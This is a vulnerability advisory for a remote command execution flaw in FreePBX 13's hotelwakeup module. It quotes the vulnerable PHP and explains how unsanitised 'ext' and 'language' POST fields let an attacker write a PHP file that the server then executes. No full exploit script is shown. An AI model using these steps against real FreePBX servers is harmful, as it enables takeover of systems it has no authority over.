#Title : Freepbx < 13.0.188 , Remote root exploit
#Vulnerable software : Freepbx < 13.0.188
#Author : Ahmed Sultan (0x4148)
#Email : 0x4148@gmail.com
#Current software status : patch released
#Vendor : Sangoma <freepbx.org>
=begin
Freepbx 13.x are vulnerable to Remote command execution due to the insuffecient sanitization of the user input fields language,destination and also due to the lack of good authentication checking
Technical details
Vulnerable file : admin/modules/hotelwakeup/Hotelwakeup.class.php
Line 102 :
public function generateCallFile($foo) {
...............................
if (empty($foo['filename'])) {
$foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call"; <<<<<---------------------Vulnerable
}
...........................
// Delete any old .call file with the same name as the one we are creating.
if(file_exists($outfile) ) {
unlink($outfile);
}
// Create up a .call file, write and close
$wuc = fopen($tempfile, 'w');
fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");

The ext value can be manipulated by the attacker to change the output file path
the language value can be manipulated by the attacket to load in malicious contents
Function is called at
Line 94 :
public function addWakeup($destination, $time, $lang) {
$date = $this->getConfig(); // module config provided by user
$this->generateCallFile(array(

"date" => 'unused',

}
addWakeup function is called when calling the hotelwakeup module via ajax.php and setting savecall as command
Line 60 :
switch($_REQUEST['command']) {
case "savecall":
if(empty($_POST['language'])) {
$lang = 'en'; //default to English if empty
} else {
$lang = $_POST['language']; <<<<<<<<<<<<<<<<<<<===========================
}

return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
} else {
$this->addWakeup($_POST['destination'],$time_wakeup,$lang); <<<<<<<<<<<=======================

The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php
